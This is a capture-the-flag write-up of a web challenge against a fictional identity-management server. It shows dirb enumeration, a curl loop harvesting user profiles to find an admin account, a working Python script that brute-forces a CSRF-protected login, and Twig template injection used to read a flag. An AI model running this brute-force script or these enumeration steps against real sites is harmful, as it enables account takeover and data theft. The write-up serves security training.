Skip to the content.

Role Management System (4 points)

Hi, emergency troubleshooter,

we urgently need to replace the outdated identity management system with a new progressive solution. Verify that it is functioning properly and that no information leakage is occurring. New instance is running on server idm-new.powergrid.tcc.

Stay grounded!

Hints

Solution

There seems to be a website running on the server, so let's use dirb to explore what we can find.

$ dirb http://idm-new.powergrid.tcc

-----------------
DIRB v2.22
By The Dark Raver
-----------------

URL_BASE: http://idm-new.powergrid.tcc/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://idm-new.powergrid.tcc/ ----
+ http://idm-new.powergrid.tcc/announcement (CODE:200|SIZE:4202)
+ http://idm-new.powergrid.tcc/index.php (CODE:200|SIZE:1813)
==> DIRECTORY: http://idm-new.powergrid.tcc/js/
+ http://idm-new.powergrid.tcc/login (CODE:200|SIZE:2559)
+ http://idm-new.powergrid.tcc/logout (CODE:302|SIZE:362)
+ http://idm-new.powergrid.tcc/server-status (CODE:403|SIZE:286)
==> DIRECTORY: http://idm-new.powergrid.tcc/styles/
+ http://idm-new.powergrid.tcc/user (CODE:200|SIZE:3060)

---- Entering directory: http://idm-new.powergrid.tcc/js/ ----

---- Entering directory: http://idm-new.powergrid.tcc/styles/ ----
==> DIRECTORY: http://idm-new.powergrid.tcc/styles/fonts/

---- Entering directory: http://idm-new.powergrid.tcc/styles/fonts/ ----

-----------------
DOWNLOADED: 18448 - FOUND: 6

The /announcements page contains some messages

Announcements

When inspecting the links used for Author fields we can see, that each one of them contains also commented-out code leading to /user/{id}. We can try to retrieve info about some users by enumerating this endpoint.

$ for i in `seq 1 35`; do if curl -sf http://idm-new.powergrid.tcc:443/user/$i -o $i.html; then echo $i exists; fi; done
1 exists
2 exists
3 exists
4 exists
5 exists
6 exists
7 exists
8 exists
9 exists
10 exists
11 exists
12 exists
13 exists
14 exists
15 exists
16 exists
17 exists
18 exists
19 exists
20 exists
21 exists
22 exists
23 exists
24 exists
25 exists
26 exists
27 exists
28 exists
29 exists
30 exists

If we open sample downloaded HTML, we can see that it contains information about the roles of these users. We can check, what roles are present in the downloaded files.

 grep -rio "role_[a-z]\+" *.html
1.html:ROLE_USER
2.html:ROLE_USER
3.html:ROLE_USER
4.html:ROLE_USER
5.html:ROLE_USER
6.html:ROLE_USER
7.html:ROLE_USER
8.html:ROLE_USER
9.html:ROLE_USER
10.html:ROLE_USER
11.html:ROLE_USER
12.html:ROLE_USER
13.html:ROLE_USER
14.html:ROLE_USER
15.html:ROLE_USER
16.html:ROLE_USER
17.html:ROLE_USER
18.html:ROLE_USER
19.html:ROLE_USER
20.html:ROLE_USER
21.html:ROLE_USER
22.html:ROLE_ADMIN
22.html:ROLE_USER
23.html:ROLE_USER
24.html:ROLE_USER
25.html:ROLE_USER
26.html:ROLE_USER
27.html:ROLE_USER
28.html:ROLE_USER
29.html:ROLE_USER
30.html:ROLE_USER

It seems like the user with ID 22 is administrator. The 22.html file also reveals the username of ella.reed and e-mail ella.reed@powergrid.tcc.

We'll need the e-mail for the login form, however, we have no information about the password yet.

login

The hint suggests, that we'll need to use brute force. Similarly to the Gridwatch task, this form is also protected by CSRF token. We can modify the same script we've created before with minor modifications.

#!/usr/bin/env python3
import sys
import requests
from bs4 import BeautifulSoup

# Configuration
LOGIN_URL = "http://idm-new.powergrid.tcc/login"
CSRF_FIELD = "_csrf_token"
FAILED_INDICATOR = "Invalid credentials"
def create_form_data(password, csrf_token):
    return {
        "_username": "ella.reed@powergrid.tcc",
        "_password": password,
        CSRF_FIELD: csrf_token
    }

def get_csrf_token(response):
    soup = BeautifulSoup(response.text, 'html.parser')
    csrf_input = soup.find('input', {'name': CSRF_FIELD})
    if csrf_input:
        csrf_token = csrf_input.get('value')
        return csrf_token
    else:
        raise ValueError(f"CSRF token field '{CSRF_FIELD}' not found in the form")

def main():
    session = requests.Session()
    response = session.get(LOGIN_URL)
    try:
        csrf_token = get_csrf_token(response)
    except Exception as e:
        print(f"Error getting CSRF token: {e}")
        sys.exit(1)

    # Read passwords from stdin
    for line in sys.stdin:
        password = line.strip()
        if not password:
            continue

        try:
            response = session.post(LOGIN_URL, data=create_form_data(password, csrf_token))
            if FAILED_INDICATOR in response.text:
                # Extract new CSRF token for next attempt
                csrf_token = get_csrf_token(response)
            else:
                # Success or different error - investigate
                print(f"POTENTIAL SUCCESS with: {password}")
                return
        except Exception as e:
            print(f"Error with {password}: {e}")

if __name__ == "__main__":
    main()

Same as the last time, running this using "pwdb top 1000" list from seclists reveals that even ella.reed@powergrid.tcc uses really simple credentials.

$ cat /usr/share/seclists/Passwords/Common-Credentials/Pwdb_top-1000.txt | ./bruteforce_with_csrf.py
POTENTIAL SUCCESS with: 123abc

Now we know both the username and the password, so we can log in.

After logging in, we can explore new menu items and pages that have been enabled, we come across the User Search page in the Admin menu. This page allows us to search for the users.

Admin User Search

If we put a character (e.g. a) there, we can see that it lists all users containing that character, however, if we put some longer text that yields no results (e.g. needle), we can just see error message saying e.g. No users found for query: needle.

By experimenting with various payloads we may discover, that the search for is vulnerable to Server Side Template Injection and interprets expression wrapped in curly brackets. E.g. searching for 12 yields an error saying No users found for query: 156.

Now we can experiment with various payloads and see that e.g. query yields `Object of class Symfony\Bridge\Twig\AppVariable could not be converted to string`, which tells us that the server uses Twig template engine. By exploring and experimenting further we can list all the keys of `app.request.server`, i.e. by sending to the search form, revealing that there's a FLAG key present.

We can retrieve it by asking just for that particular value explicitly, i.e. using `` query.

base64-encoded flag

Since this is not our first base64-encoded flag that we've ever seen, decoding is easy.

$ echo RkxBR3tUaEtILWRxaW8tNDlBWC1TWmxHfSAK | base64 -d
FLAG{ThKH-dqio-49AX-SZlG}